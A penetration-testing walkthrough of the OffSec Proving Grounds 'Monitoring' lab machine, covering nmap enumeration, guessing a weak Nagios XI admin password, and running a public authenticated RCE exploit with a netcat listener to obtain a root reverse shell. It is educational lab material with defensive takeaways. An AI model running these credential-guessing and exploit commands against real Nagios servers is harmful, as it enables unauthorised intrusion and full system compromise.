
Introduction
Welcome! I'm Koushik, a Security Engineer, and my goal with this walkthrough is to give you more than just a quick flag. I'll be demonstrating the complete methodology from enumeration to root.
Monitoring is a beginner-friendly Linux machine from OffSec Proving Grounds Play. In this guide, you will learn how to enumerate exposed services, leverage weak credentials on a Nagios XI instance, and exploit an authenticated Remote Code Execution (RCE) vulnerability to gain direct root access.
1. Reconnaissance & Enumeration
Nmap Scan Result
To gain insight into the network, start with an nmap scan to identify open ports and potential vulnerabilities.
Used
-T4 - Accelerate scans by reducing timeouts and probe delays.
-Pn - Skip host discovery and treat the target as completely online.
-vv - Increases verbosity to level 2 (double verbosity), making Nmap print open ports and scan progress in real time rather than waiting until the entire scan finishes.
-p- - Scan all 65535 ports.
-oN - Save the scan output in normal, human-readable format to a specified file.
nmap -T4 -Pn -vv -p- 192.168.129.136 -oN nmap.txt
Output
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
25/tcp open smtp syn-ack
80/tcp open http syn-ack
389/tcp open Idap syn-ack
443/tcp open https syn-ack
5667/tcp open unknown syn-ack
Nmap deep scan for open ports
Used
-A - This flag in Nmap enables an aggressive scan that combines OS detection (-O), service version detection (-sV), default NSE script scanning (-sC), and traceroute (--traceroute) into a single command.
nmap -T5 -Pn -vv -p22,25,80,389,443,5667 -A 192.168.129.136 -oN nmap_deep.txt
Output
22/tcp open ssh syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b8:8c:40:f6:5f:2a:8b:f7:92:a8:81:4b:bb:59:6d:02 (RSA)
| ssh-rsa AAA...................................
25/tcp open smtp syn-ack Postfix smtpd
| ssl-cert: Subject: commonName=ubuntu
| Issuer: commonName=ubuntu
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-09-08T17:59:00
| Not valid after: 2030-09-06T17:59:00
| MD5: e067:1ea3:92c2:ec73:cb21:de0e:73df:cb66
| SHA-1: e39c:c9b6:c35b:b608:3dd0:cd25:e60f:cb61:6551:da77
| -----BEGIN CERTIFICATE-----
| MIICsjCCAZqgAwIBAgIJAMvrYyFKXQezMA0GCSqGSIb3DQEBCwUAMBExDzANBgNV
<SNIP>
| GO/4fjpxGPhhvZISI71SLM8q2cEcGQ==
|_-----END CERTIFICATE-----
|_smtp-commands: ubuntu, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
|_ssl-date: TLS randomness does not represent time
80/tcp open http syn-ack Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Nagios XI
|_http-favicon: Unknown favicon MD5: 8E1494DD4BFF0FC523A2E2A15ED59D84
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
389/tcp open ldap syn-ack OpenLDAP 2.2.X - 2.3.X
443/tcp open ssl/http syn-ack Apache httpd 2.4.18 ((Ubuntu))
| tls-alpn:
|_ http/1.1
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Nagios XI
|_ssl-date: TLS randomness does not represent time
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| ssl-cert: Subject: commonName=192.168.1.6/organizationName=Nagios Enterprises/stateOrProvinceName=Minnesota/countryName=US/localityName=St. Paul/organizationalUnitName=Development
| Issuer: commonName=192.168.1.6/organizationName=Nagios Enterprises/stateOrProvinceName=Minnesota/countryName=US/localityName=St. Paul/organizationalUnitName=Development
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2020-09-08T18:28:08
| Not valid after: 2030-09-06T18:28:08
| MD5: 20f0:951f:8eff:1b69:ef3f:1b1e:fb4c:361f
| SHA-1: cc40:0ad7:60cf:4959:1c92:d9ab:0f06:106c:18f6:6661
| -----BEGIN CERTIFICATE-----
| MIIDxTCCAq<SNIP>Yj5M4WuGKzGmkB9GPDC/REfHdu8m
| sMSOoeFVpu/b
|_-----END CERTIFICATE-----
5667/tcp open tcpwrapped syn-ack
Web Server Enumeration (Port 80)
Clicked on "Access Nagios XI" and it brought me to a login page.
I searched for default credential and got an answer from AI Overview on Google
Default nagiosadmin:nagiosadmin didn't work so, after a couple of guesses, I found the correct password is - admin
Used nagiosadmin:admin and logged in
When you get any webapp, always try to find the version
Here the version of nagiosadmin is 5.6.0
Known Vulnerability
I searched online for Nagios Xi 5.6.0 exploit and got one.
Nagios Xi 5.6.6 - Authenticated Remote Code Execution (RCE)
Known Exploit
https://www.exploit-db.com/exploits/52138
Initial Access
An offline database of Exploit-DB exploits is already present on our Kali machine.
To download and use it, just copy the last number part of the online exploit-db exploit link and copy the same exploit from our local exploit-db database using searchsploit.
searchsploit -m 52138
Notice that the exploit file has a .txt extension. But from the File Type we know that the exploit is written in Python. While python3 52138.txt will run without issues, renaming it to .py keeps things clean and enables syntax highlighting if we open it.
mv 52138.txt 52138.py
Now, let's check the usage of the exploit by simply running the exploit without any argument.
python3 52138.py
If it is not clear, we can also refer to the online copy or read the exploit source code.
With no modifications needed to the script I was able to catch a reverse shell back in my NC listener.
Start a listener for an incoming reverse shell. I am using nc and rlwrap to make it more stable and easier to use.
On Local Machine
rlwrap -f . -r nc -nvlp 4444
Run the exploit with the proper arguments value.
python3 52138.py -t http://192.168.129.136/ -b /nagiosxi/ -u nagiosadmin -p admin -lh 192.168.45.236 -lp 4444
Got a reverse shell
Notice that we are already root on the victim machine so, only proof flag is present.
cat /root/proof.txt
3. Key Takeaways
- Always verify software versions: Identifying that the target was running Nagios XI 5.6.0 narrowed down the search directly to a reliable public exploit.
- Don't stop at default credentials: When
nagiosadmin:nagiosadminfailed, trying simple, common admin passwords likeadminpaid off quickly. - Security implications: Running web services with root-level privileges (or allowing plugin uploads that execute as
root) turns an authenticated application flaw into an instant full-system compromise. Keeping monitoring tools patched and enforcing strong password policies prevents this entire attack chain.
Thanks for reading and taking the time to check this out, I hope it added some value to your journey!
Comments
Join the discussionNo comments yet. Be the first to comment.
PG Play Walkthroughs
Step-by-step penetration testing walkthroughs for OffSec Proving Grounds (PG) Play machines. Each writeup breaks down the full attack lifecycle—from initial Nmap reconnaissance and service enumeration to vulnerability exploitation and Linux privilege escalation—with practical commands, methodology notes, and key takeaways for OSCP and offensive security prep.





